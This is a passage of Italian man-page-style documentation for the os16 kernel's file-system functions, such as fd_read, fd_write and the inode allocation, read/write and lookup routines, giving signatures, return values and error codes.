`int` ***fdn***	Il numero del descrittore di file.
`void *`***buffer***	Area di memoria in cui scrivere ciò che viene letto dal descrittore di file.
`size_t` ***count***	Quantità di byte da leggere.
`int *`***eof***	Puntatore a una variabile in cui annotare, eventualmente, il raggiungimento della fine del file.

DESCRIZIONE

La funzione ***fd_read()*** cerca di leggere il file rappresentato dal descrittore ***fdn***, partendo dalla posizione in cui si trova l'indice interno di accesso, per un massimo di ***count*** byte, collocando i dati letti in memoria a partire dal puntatore ***buffer***. L'indice interno al file viene fatto avanzare della quantità di byte letti effettivamente, se invece si incontra la fine del file, viene aggiornata la variabile ****eof***.

La funzione può leggere file normali, file di dispositivo e directory, trattandole però come se fossero dei file puri e semplici. Gli altri tipi di file non sono gestiti da os16.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_READ`**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***fd_read()*** è *read(2)* [98.29].

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti effettivamente, oppure zero se è stata raggiunta la fine del file e non si può proseguire oltre. Va osservato che la lettura effettiva di una quantità inferiore di byte rispetto a quanto richiesto non costituisce un errore: in quel caso i byte mancanti vanno richiesti eventualmente con successive operazioni di lettura. In caso di errore, la funzione restituisce il valore -1, aggiornando contestualmente la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EBADF`	Il numero del descrittore di file non è valido.
`EINVAL`	Il file non è aperto in lettura.
`E_FILE_TYPE_UNSUPPORTED`	Il file è di tipo non gestibile con os16.

FILE SORGENTI

'`lib/unistd/read.c`' [106.17.28]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_read.c`' [105.4.9]

VEDERE ANCHE

read(2) [98.29], *sysroutine(9)* [104.8.28], *fd_reference(9)* [104.3.10], *dev_io(9)* [104.1.1], *inode_file_read(9)* [104.3.18].

104.3.10 os16: fd_reference(9)

NOME

'`fd_reference`' - riferimento a un elemento della tabella dei descrittori

SINTASSI

```
<kernel/fs.h>
fd_t *fd_reference (pid_t pid, int *fdn);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Il numero del descrittore di file.

DESCRIZIONE

La funzione ***fd_reference()*** restituisce il puntatore all'elemento della tabella dei descrittori, corrispondente al processo e al numero di descrittore specificati. Se però viene fornito un numero di descrittore negativo, si ottiene il puntatore al primo elemento che risulta libero nella tabella.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella dei descrittori, oppure il puntatore nullo in caso di errore, ma **senza aggiornare** la variabile ***errno*** del kernel. Infatti, l'unico errore che può verificarsi consiste nel non poter trovare il descrittore richiesto.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_reference.c`' [105.4.10]

VEDERE ANCHE

file_reference(9) [104.3.13], *inode_reference(9)* [104.3.25], *sb_reference(9)* [104.3.47], *proc_reference(9)* [104.8.7].

104.3.11 os16: fd_stat(9)

Vedere *stat(9)* [104.3.50].

104.3.12 os16: fd_write(9)

NOME

'**`fd_write`**' - scrittura di un descrittore di file

SINTASSI

```
<kernel/fs.h>
ssize_t fd_write (pid_t pid, int fdn, const void *buffer,
                  size_t count);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`int` ***fdn***	Il numero del descrittore di file.
`const void *`***buffer***	Area di memoria da cui attingere i dati da scrivere nel descrittore di file.
`size_t` ***count***	Quantità di byte da scrivere.

DESCRIZIONE

La funzione ***fd_write()*** consente di scrivere fino a un massimo di ***count*** byte, tratti dall'area di memoria che inizia all'indirizzo ***buffer***, presso il file rappresentato dal descrittore ***fdn***, del processo ***pid***. La scrittura avviene a partire dalla posizione in cui si trova l'indice interno.

Questa funzione viene usata principalmente da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**`SYS_WRITE`**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***fd_write()*** è *write(2)* [98.44].

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritti effettivamente e in tal caso è possibile anche ottenere una quantità pari a zero. Se si verifica invece un errore, la funzione restituisce -1 e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`EBADF`	Il numero del descrittore di file non è valido.
`EINVAL`	Il file non è aperto in scrittura.
`EISDIR`	Il file è una directory.
`E_FILE_TYPE_UNSUPPORTED`	Il file è di tipo non gestibile con os16.
`EIO`	Errore di input-output.

FILE SORGENTI

'`lib/unistd/write.c`' [106.17.36]

'`kernel/proc.h`' [105.9]

'`kernel/proc/_isr.s`' [105.9.1]

'`kernel/proc/sysroutine.c`' [105.9.30]

'`kernel/fs.h`' [105.4]

'`kernel/fs/fd_write.c`' [105.4.12]

VEDERE ANCHE

write(2) [98.44], *sysroutine(9)* [104.8.28], *proc_reference(9)* [104.8.7], *dev_io(9)* [104.1.1], *inode_file_write(9)* [104.3.19].

104.3.13 os16: file_reference(9)

NOME

'**`file_reference`**' - riferimento a un elemento della tabella dei file di sistema

SINTASSI

```
<kernel/fs.h>
file_t *file_reference (int fno);
```

ARGOMENTI

Argomento	Descrizione
`int` *fno*	Il numero della voce della tabella dei file, a partire da zero.

DESCRIZIONE

La funzione *file_reference()* restituisce il puntatore all'elemento della tabella dei file di sistema, corrispondente al numero indicato come argomento. Se però tale numero fosse negativo, viene restituito il puntatore al primo elemento libero.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella dei file di sistema, oppure il puntatore nullo in caso di errore, ma **senza aggiornare** la variabile ***errno*** del kernel. Infatti, l'unico errore che può verificarsi consiste nel non poter trovare la voce richiesta.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/file_table.c`' [105.4.15]

'`kernel/fs/file_reference.c`' [105.4.13]

VEDERE ANCHE

fd_reference(9) [104.3.10], *inode_reference(9)* [104.3.25], *sb_reference(9)* [104.3.47], *proc_reference(9)* [104.8.7].

104.3.14 os16: file_stdio_dev_make(9)

NOME

'**`file_stdio_dev_make`**' - creazione di una voce relativa a un dispositivo di input-output standard, nella tabella dei file di sistema

SINTASSI

```
<kernel/fs.h>
file_t *file_stdio_dev_make (dev_t device, mode_t mode, int oflags);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Il numero del dispositivo da usare per l'input o l'output.
`mode_t` ***mode***	Tipo di file di dispositivo: è praticamente obbligatorio l'uso di '**`S_IFCHR`**'.
`int` ***oflags***	Modalità di accesso: '**`O_RDONLY`**' oppure '**`O_WRONLY`**'.

DESCRIZIONE

La funzione ***file_stdio_dev_make()*** produce una voce nella tabella dei file di sistema, relativa a un dispositivo di input-output, da usare come flusso standard. In altri termini, serve per creare le voci della tabella dei file, relative a standard input, standard output e standard error.

Per ottenere questo risultato occorre coinvolgere anche la funzione *inode_stdio_dev_make(9)* [104.3.27], la quale si occupa di predisporre un inode, privo però di un collegamento a un file vero e proprio.

Questa funzione viene usata esclusivamente da *proc_sys_exec(9)* [104.8.20], per attribuire standard input, standard output e standard error, che non fossero già disponibili.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella dei file di sistema, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`ENFILE`	Non è possibile allocare un altro file di sistema.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/file_stdio_dev_make.c`' [105.4.14]

VEDERE ANCHE

proc_sys_exec(9) [104.8.20], *inode_stdio_dev_make(9)* [104.3.27], *file_reference(9)* [104.3.13], *inode_put(9)* [104.3.24].

104.3.15 os16: inode_alloc(9)

NOME

'**`inode_alloc`**' - allocazione di un inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_alloc (dev_t device, mode_t mode, uid_t uid);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Il numero del dispositivo in cui si trova il file system dove allocare l'inode.
`mode_t` ***mode***	Tipo di file e modalità dei permessi da associare all'inode.
`uid_t` ***uid***	Proprietà dell'inode.

DESCRIZIONE

La funzione ***inode_alloc()*** cerca un inode libero nel file system del dispositivo indicato, quindi lo alloca (lo segna come utilizzato) e lo modifica aggiornando il tipo e la modalità dei permessi, oltre al proprietario del file. Se la funzione riesce nel suo intento, restituisce il puntatore all'inode in memoria, il quale rimane così aperto e disponibile per ulteriori elaborazioni.

Questa funzione viene usata esclusivamente da *path_inode_link(9)* [104.3.37], per la creazione di un nuovo file.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella degli inode di sistema, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
EINVAL	Il valore fornito per il parametro ***mode*** non è ammissibile.
ENODEV	Il dispositivo non corrisponde ad alcuna voce della tabella dei super blocchi; per esempio, il file system cercato potrebbe non essere ancora stato innestato.
ENOSPC	Non è possibile allocare l'inode, per mancanza di spazio.
ENFILE	Non c'è spazio nella tabella degli inode.

FILE SORGENTI

'kernel/fs.h' [105.4]

'kernel/fs/inode_alloc.c' [105.4.16]

VEDERE ANCHE

path_inode_link(9) [104.3.37], *sb_reference(9)* [104.3.47], *inode_get(9)* [104.3.23], *inode_put(9)* [104.3.24], *inode_truncate(9)* [104.3.28], *inode_save(9)* [104.3.26].

104.3.16 os16: inode_check(9)

NOME

'**inode_check**' - verifica delle caratteristiche di un inode

SINTASSI

```
<kernel/fs.h>
int inode_check (inode_t *inode, mode_t type, int perm, uid_t uid);
```

ARGOMENTI

Argomento	Descrizione
inode_t ****inode***	Puntatore a un elemento della tabella degli inode.
mode_t ***type***	Tipo di file desiderato. Può trattarsi di '**S_IFBLK**', '**S_IFCHR**', '**S_IFIFO**', '**S_IFREG**', '**S_IFDIR**', '**S_IFLNK**', '**S_IFSOCK**', come dichiarato nel file 'lib/sys/stat.h', tuttavia os16 gestisce solo file di dispositivo, file normali e directory.
int ***perm***	Permessi richiesti dall'utente ***uid***, rappresentati nei tre bit meno significativi.
uid_t ***uid***	Utente nei confronti del quale vanno verificati i permessi di accesso.

DESCRIZIONE

La funzione ***inode_check()*** verifica che l'inode indicato sia di un certo tipo e abbia i permessi di accesso necessari a un certo utente. Tali permessi vanno rappresentati utilizzando solo gli ultimi tre bit (4 = lettura, 2 = scrittura, 1 = esecuzione o attraversamento)

e si riferiscono alla richiesta di accesso all'inode, da parte dell'utente ***uid***, tenendo conto del complesso dei permessi che lo riguardano.

Nel parametro ***type*** è ammessa la sovrapposizione di più tipi validi.

Questa funzione viene usata in varie situazioni, internamente al kernel, per verificare il tipo o l'accessibilità di un file.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Le caratteristiche dell'inode sono compatibili con quanto richiesto.
−1	Le caratteristiche dell'inode non sono compatibili, oppure si è verificato un errore. In ogni caso si ottiene l'aggiornamento della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il valore di ***inode*** corrisponde a un puntatore nullo.
`E_FILE_TYPE`	Il tipo di file dell'inode non corrisponde a quanto richiesto.
`EACCES`	I permessi di accesso non sono compatibili con la richiesta.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_check.c`' [105.4.17]

104.3.17 os16: inode_dir_empty(9)

NOME

'**`inode_dir_empty`**' - verifica della presenza di contenuti in una directory

SINTASSI

```
<kernel/fs.h>
int inode_dir_empty (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *inode`	Puntatore a un elemento della tabella degli inode.

DESCRIZIONE

La funzione ***inode_dir_empty()*** verifica che la directory, a cui si riferisce l'inode a cui punta ***inode***, sia vuota.

VALORE RESTITUITO

Valore	Significato del valore restituito
1	*Vero*: si tratta di una directory vuota.
0	*Falso*: se è effettivamente una directory, questa non è vuota, altrimenti non è nemmeno una directory.

ERRORI

Dal momento che un risultato *Falso* non rappresenta necessariamente un errore, per verificare il contenuto della variabile ***errno***, prima dell'uso della funzione occorre azzerarla.

Valore di ***errno***	Significato
`EINVAL`	L'inode non riguarda una directory.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_dir_empty.c`' [105.4.18]

VEDERE ANCHE

inode_file_read(9) [104.3.18].

104.3.18 os16: inode_file_read(9)

NOME

'**`inode_file_read`**' - lettura di un file rappresentato da un inode

SINTASSI

```
<kernel/fs.h>
ssize_t inode_file_read (inode_t *inode, off_t offset,
                         void *buffer, size_t count, int *eof);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a un elemento della tabella degli inode, che rappresenta il file da leggere.
`off_t` ***offset***	Posizione, riferita all'inizio del file, a partire dalla quale eseguire la lettura.
`void *`***buffer***	Puntatore all'area di memoria in cui scrivere ciò che si ottiene dalla lettura del file.
`size_t` ***count***	Quantità massima di byte da leggere.
`int *`***eof***	Puntatore a un indicatore di fine file, da aggiornare (purché sia un puntatore valido) in base all'esito della lettura.

DESCRIZIONE

La funzione ***inode_file_read()*** legge il contenuto del file a cui si riferisce l'inode ***inode*** e se il puntatore ***eof*** è valido, aggiorna anche la variabile ****eof***.

Questa funzione si avvale a sua volta di *inode_fzones_read(9)* [104.3.21], per accedere ai contenuti del file, suddivisi in zone, secondo l'organizzazione del file system Minix 1.

VALORE RESTITUITO

La funzione restituisce la quantità di byte letti e resi effettivamente disponibili a partire da ciò a cui punta ***buffer***. Se la variabile ***var*** è un puntatore valido, aggiorna anche il suo valore, azzerandolo se la lettura avviene in una posizione interna al file, oppure impostandolo a uno se la lettura richiesta è oltre la fine del file. Se invece si tenta una lettura con un valore di ***offset*** negativo, o specificando il puntatore nullo al posto dell'inode, la funzione restituisce −1 e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido, oppure il valore di ***offset*** è negativo.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_file_read.c`' [105.4.19]

VEDERE ANCHE

inode_fzones_read(9) [104.3.21].

104.3.19 os16: inode_file_write(9)

NOME

'**`inode_file_write`**' - scrittura di un file rappresentato da un inode

SINTASSI

```
<kernel/fs.h>
ssize_t inode_file_write (inode_t *inode, off_t offset,
                          void *buffer, size_t count);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a un elemento della tabella degli inode, che rappresenta il file da scrivere.
`off_t` ***offset***	Posizione, riferita all'inizio del file, a partire dalla quale eseguire la scrittura.
`void *`***buffer***	Puntatore all'area di memoria da cui trarre i dati da scrivere nel file.
`size_t` ***count***	Quantità massima di byte da scrivere.

DESCRIZIONE

La funzione ***inode_file_write()*** scrive nel file rappresentato da ***inode***, a partire dalla posizione ***offset*** (purché non sia un valore negativo), la quantità massima di byte indicati con ***count***, ciò che si trova in memoria a partire da ***buffer***.

Questa funzione si avvale a sua volta di *inode_fzones_read(9)* [104.3.21], per accedere ai contenuti del file, suddivisi in zone, secondo l'organizzazione del file system Minix 1, e di *zone_write(9)* [104.3.53], per la riscrittura delle zone relative.

Per os16, le operazioni di scrittura nel file system sono sincrone, senza alcun trattenimento in memoria (ovvero senza *cache*).

VALORE RESTITUITO

La funzione restituisce la quantità di byte scritti. La scrittura può avvenire oltre la fine del file, anche in modo discontinuo; tuttavia, non è ammissibile un valore di ***offset*** negativo.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido, oppure il valore di ***offset*** è negativo.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_file_write.c`' [105.4.20]

VEDERE ANCHE

inode_fzones_read(9) [104.3.21], *zone_write(9)* [104.3.53].

104.3.20 os16: inode_free(9)

NOME

'**`inode_free`**' - deallocazione di un inode

SINTASSI

```
<kernel/fs.h>
int inode_free (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *inode`	Puntatore a un elemento della tabella degli inode.

DESCRIZIONE

La funzione ***inode_free()*** libera l'inode specificato attraverso il puntatore ***inode***, rispetto al proprio super blocco. L'operazione comporta semplicemente il fatto di indicare questo inode come libero, senza controlli per verificare se effettivamente non esistono più collegamenti nel file system che lo riguardano.

Questa funzione viene usata esclusivamente da *inode_put(9)* [104.3.24], per completare la cancellazione di un inode che non ha più collegamenti nel file system, nel momento in cui non vi si fa più riferimento nel sistema in funzione.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	L'inode non è valido.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_free.c`' [105.4.21]

VEDERE ANCHE

inode_save(9) [104.3.26], *inode_alloc(9)* [104.3.15].

104.3.21 os16: inode_fzones_read(9)

NOME

'**`inode_fzones_read`**', '**`inode_fzones_write`**' - lettura e scrittura di zone relative al contenuto di un file

SINTASSI

```
<kernel/fs.h>
blkcnt_t inode_fzones_read  (inode_t *inode, zno_t zone_start,
                             void *buffer, blkcnt_t blkcnt);
blkcnt_t inode_fzones_write (inode_t *inode, zno_t zone_start,
                             void *buffer, blkcnt_t blkcnt);
```

ARGOMENTI

Argomento	Descrizione
`inode_t` ***inode***	Puntatore a un elemento della tabella degli inode, con cui si individua il file da cui leggere o in cui scrivere.
`zno_t` ***zone_start***	Il numero di zona, relativo al file, a partire dalla quale iniziare la lettura o la scrittura.
`void` ****buffer***	Il puntatore a un'area di memoria tampone, da usare per depositare i dati letti o per trarre i dati da scrivere.
`blkcnt_t` ***blkcnt***	La quantità di zone da leggere o scrivere.

DESCRIZIONE

Le funzioni ***inode_fzones_read()*** e ***inode_fzones_write()***, consentono di leggere e di scrivere un file, a zone intere (la zona è un multiplo del blocco, secondo la filosofia del file system Minix 1).

Questa funzione vengono usate soltanto da *inode_file_read(9)* [104.3.18] e *inode_file_write(9)* [104.3.19], con le quali l'accesso ai file si semplifica a livello di byte.

VALORE RESTITUITO

Le due funzioni restituiscono la quantità di zone lette o scritte effettivamente. Una quantità pari a zero potrebbe eventualmente rappresentare un errore, ma solo in alcuni casi. Per poterlo verificare, occorre azzerare la variabile ***errno*** prima di chiamare le funzioni, riservandosi di verificarne successivamente il valore.

ERRORI

Valore di ***errno***	Significato
`EIO`	L'accesso alla zona richiesta non è potuto avvenire.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_fzones_read.c`' [105.4.22]

'`kernel/fs/inode_fzones_write.c`' [105.4.23]

VEDERE ANCHE

inode_file_read(9) [104.3.18], *inode_file_write(9)* [104.3.19], *zone_read(9)* [104.3.53], *zone_write(9)* [104.3.53].

104.3.22 os16: inode_fzones_write(9)

Vedere *inode_fzones_read(9)* [104.3.21].

104.3.23 os16: inode_get(9)

NOME

'**`inode_get`**' - caricamento di un inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_get (dev_t device, ino_t ino);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo riferito a un'unità di memorizzazione, dove cercare l'inode numero ***ino***.
`ino_t` ***ino***	Numero di inode, relativo al file system contenuto nell'unità ***device***.

DESCRIZIONE

La funzione ***inode_get()*** consente di «aprire» un inode, fornendo il numero del dispositivo corrispondente all'unità di memorizzazione e il numero dell'inode del file system in essa contenuto. L'inode in questione potrebbe essere già stato aperto e quindi già disponibile in memoria nella tabella degli inode; in tal caso, la funzione si limita a incrementare il contatore dei riferimenti a tale inode, da parte del sistema in funzione, restituendo il puntatore all'elemento della tabella che lo contiene gia. Se invece l'inode non è ancora presente nella tabella rispettiva, la funzione deve provvedere a caricarlo.

Se si richiede un inode non ancora disponibile, contenuto in un'unità di cui non è ancora stato caricato il super blocco nella tabella rispettiva, la funzione deve provvedere anche a questo procedimento.

VALORE RESTITUITO

La funzione restituisce il puntatore all'elemento della tabella degli inode che rappresenta l'inode aperto. Se però si presenta un problema, restituisce il puntatore nullo e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EUNKNOWN`	Si tratta di un problema imprevisto e non meglio identificabile.
`ENFILE`	La tabella degli inode è già occupata completamente e non è possibile aprirne altri.
`ENODEV`	Il dispositivo richiesto non è valido.
`ENOENT`	Il numero di inode richiesto non esiste.
`EIO`	Errore nella lettura del file system.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_get.c`' [105.4.24]

VEDERE ANCHE

offsetof(3) [99.75], *inode_put(9)* [104.3.24], *inode_reference(9)* [104.3.25], *sb_reference(9)* [104.3.47], *sb_inode_status(9)* [104.3.45], *dev_io(9)* [104.1.1].

104.3.24 os16: inode_put(9)

NOME

'**`inode_put`**' - rilascio di un inode

SINTASSI

```
<kernel/fs.h>
int inode_put (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t` ***inode***	Puntatore a un elemento della tabella di inode.

DESCRIZIONE

La funzione ***inode_put()*** «chiude» un inode, riducendo il contatore degli accessi allo stesso. Tuttavia, se questo contatore, dopo il decremento, raggiunge lo zero, è necessario verificare se nel frattempo anche i collegamenti del file system si sono azzerati, perché in tal caso occorre anche rimuovere l'inode, nel senso di segnalarlo come libero per la creazione di un nuovo file. In ogni caso, le informazioni aggiornate dell'inode, ancora allocato o liberato, vengono memorizzate nel file system.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il puntatore ***inode*** non è valido.
`EUNKNOWN`	Si tratta di un problema imprevisto e non meglio identificabile.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_put.c`' [105.4.25]

VEDERE ANCHE

inode_truncate(9) [104.3.28], *inode_free(9)* [104.3.20], *inode_save(9)* [104.3.26].

104.3.25 os16: inode_reference(9)

NOME

'**`inode_reference`**' - riferimento a un elemento della tabella di inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_reference (dev_t device, ino_t ino);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Dispositivo riferito a un'unità di memorizzazione, dove cercare l'inode numero ***ino***.
`ino_t` ***ino***	Numero di inode, relativo al file system contenuto nell'unità ***device***.

DESCRIZIONE

La funzione ***inode_reference()*** cerca nella tabella degli inode la voce corrispondente ai dati forniti come argomenti, ovvero quella dell'inode numero ***ino*** del file system contenuto nel dispositivo ***device***, restituendo il puntatore alla voce corrispondente. Tuttavia ci sono dei casi particolari:

- se il numero del dispositivo e quello dell'inode sono entrambi zero, viene restituito il puntatore all'inizio della tabella, ovvero al primo elemento della stessa;
- se il numero del dispositivo e quello dell'inode sono pari a un numero negativo (rispettivamente '**`(dev_t) -1`**' e '**`(ino_t) -1`**'), viene restituito il puntatore alla prima voce libera;
- se il numero del dispositivo è pari a zero e il numero dell'inode è pari a uno, si intende ricercare la voce dell'inode della directory radice del file system principale.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella degli inode, se la ricerca si compie con successo. In caso di problemi, invece, la funzione restituisce il puntatore nullo e aggiorna la variabile ***errno*** del kernel.

ERRORI

Valore di *errno*	Significato
`E_CANNOT_FIND_ROOT_DEVICE`	Nella tabella dei super blocchi non è possibile trovare il file system principale.
`E_CANNOT_FIND_ROOT_INODE`	Nella tabella degli inode non è possibile trovare la directory radice del file system principale.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_reference.c`' [105.4.26]

VEDERE ANCHE

sb_reference(9) [104.3.47], *file_reference(9)* [104.3.13], *proc_reference(9)* [104.8.7].

104.3.26 os16: inode_save(9)

NOME

'**`inode_save`**' - memorizzazione dei dati di un inode

SINTASSI

```
<kernel/fs.h>
int inode_save (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a una voce della tabella degli inode.

DESCRIZIONE

La funzione ***inode_save()*** memorizza l'inode a cui si riferisce la voce ****inode***, nel file system, ammesso che si tratti effettivamente di un inode relativo a un file system e che sia stato modificato dopo l'ultima memorizzazione precedente. In questo caso, la funzione, a sua volta, richiede la memorizzazione del super blocco.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Il puntatore ***inode*** è nullo.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_save.c`' [105.4.27]

VEDERE ANCHE

sb_save(9) [104.3.48], *dev_io(9)* [104.1.1].

104.3.27 os16: inode_stdio_dev_make(9)

NOME

'**`inode_stdio_dev_make`**' - creazione di una voce relativa a un dispositivo di input-output standard, nella tabella degli inode

SINTASSI

```
<kernel/fs.h>
inode_t *inode_stdio_dev_make (dev_t device, mode_t mode);
```

ARGOMENTI

Argomento	Descrizione
`dev_t` ***device***	Il numero del dispositivo da usare per l'input o l'output.
`mode_t` ***mode***	Tipo di file di dispositivo: è praticamente obbligatorio l'uso di '**`S_IFCHR`**'.

DESCRIZIONE

La funzione ***inode_stdio_dev_make()*** produce una voce nella tabella degli inode, relativa a un dispositivo di input-output, da usare come flusso standard. In altri termini, serve per creare le voci della tabella degli inode, relative a standard input, standard output e standard error.

Questa funzione viene usata esclusivamente da *file_stdio_dev_make(9)* [104.3.14], per creare una voce da usare come flusso standard di input o di output, nella tabella dei file.

VALORE RESTITUITO

La funzione restituisce il puntatore a un elemento della tabella degli inode, oppure il puntatore nullo in caso di errore, aggiornando la variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Gli argomenti della chiamata non sono validi.
`ENFILE`	Non è possibile allocare un altro inode.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_stdio_dev_make.c`' [105.4.28]

VEDERE ANCHE

file_stdio_dev_make(9) [104.3.14], *inode_reference(9)* [104.3.25].

104.3.28 os16: inode_truncate(9)

NOME

'**`inode_truncate`**' - troncamento del file a cui si riferisce un inode

SINTASSI

```
<kernel/fs.h>
int inode_truncate (inode_t *inode);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *inode`	Puntatore a una voce della tabella di inode.

DESCRIZIONE

La funzione ***inode_truncate()*** richiede che il puntatore ***inode*** si riferisca a una voce della tabella degli inode, relativa a un file contenuto in un file system. Lo scopo della funzione è annullare il contenuto di tale file, trasformandolo in un file vuoto.

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
-1	Errore, descritto dalla variabile ***errno*** del kernel.

ERRORI

Allo stato attuale dello sviluppo della funzione, non ci sono controlli e non sono previsti errori.

FILE SORGENTI

'`kernel/fs.h`' [105.4]

'`kernel/fs/inode_truncate.c`' [105.4.30]

VEDERE ANCHE

zone_free(9) [104.3.51], *sb_save(9)* [104.3.48], *inode_save(9)* [104.3.26].

104.3.29 os16: inode_zone(9)

NOME

'**`inode_zone`**' - traduzione del numero di zona relativo in un numero di zona assoluto

SINTASSI

```
<kernel/fs.h>
zno_t inode_zone (inode_t *inode, zno_t fzone, int write);
```

ARGOMENTI

Argomento	Descrizione
`inode_t *`***inode***	Puntatore a una voce della tabella di inode.
`zno_t` ***fzone***	Numero di zona relativo al file dell'inode preso in considerazione.
`int` ***write***	Valore da intendersi come *Vero* o *Falso*, con cui consentire o meno la creazione al volo di una zona mancante.

DESCRIZIONE

La funzione ***inode_zone()*** serve a tradurre il numero di una zona, inteso relativamente a un file, nel numero assoluto relativamente al file system in cui si trova. Tuttavia, un file può essere memorizzato effettivamente in modo discontinuo, ovvero con zone inesistenti nella sua parte centrale. Il contenuto di un file che non dispone effettivamente di zone allocate, corrisponde a un contenuto nullo dal punto di vista binario (zero binario), ma per la funzione, una zona assente comporta la restituzione di un valore nullo, perché nel file system non c'è. Pertanto, se l'argomento corrispondente al parametro ***write*** contiene un valore diverso da zero, la funzione che non trova una zona, la alloca e quindi ne restituisce il numero.

VALORE RESTITUITO

La funzione restituisce il numero della zona che nel file system corrisponde a quella relativa richiesta per un certo file. Nel caso la zona non esista, perché non allocata, restituisce zero. Tuttavia, la zona zero di un file system Minix 1 esiste, ma contiene sostanzialmente le informazioni amministrative del super blocco, pertanto non può essere una traduzione valida di una zona di un file.

ERRORI

La funzione non prevede il verificarsi di errori.

FILE SORGENTI

'kernel/fs.h' [105.4]

'kernel/fs/inode_zone.c' [105.4.31]

VEDERE ANCHE

memset(3) [99.72], *zone_alloc(9)* [104.3.51], *zone_read(9)* [104.3.53], *zone_write(9)* [104.3.53].

104.3.30 os16: path_chdir(9)

NOME

'**path_chdir**' - cambiamento della directory corrente

SINTASSI

```
<kernel/fs.h>
int path_chdir (pid_t pid, const char *path);
```

ARGOMENTI

Argomento	Descrizione
`pid_t` ***pid***	Il numero del processo elaborativo per conto del quale si agisce.
`const char *`***path***	Il percorso della nuova directory corrente, riferito alla directory corrente del processo ***pid***.

DESCRIZIONE

La funzione ***path_chdir()*** cambia la directory corrente del processo ***pid***, in modo che quella nuova corrisponda al percorso annotato nella stringa ***path***.

Questa funzione viene usata soltanto da *sysroutine(9)* [104.8.28], in occasione del ricevimento di una chiamata di sistema di tipo '**SYS_CHDIR**'. La funzione della libreria standard che si avvale della chiamata di sistema che poi raggiunge ***path_chdir()*** è *chdir(2)* [98.3].

VALORE RESTITUITO

Valore	Significato del valore restituito
0	Operazione conclusa con successo.
−1	Errore, descritto dal contenuto della variabile ***errno*** del kernel.

ERRORI

Valore di ***errno***	Significato
`EINVAL`	Argomento non valido.
`EACCES`	Accesso negato.
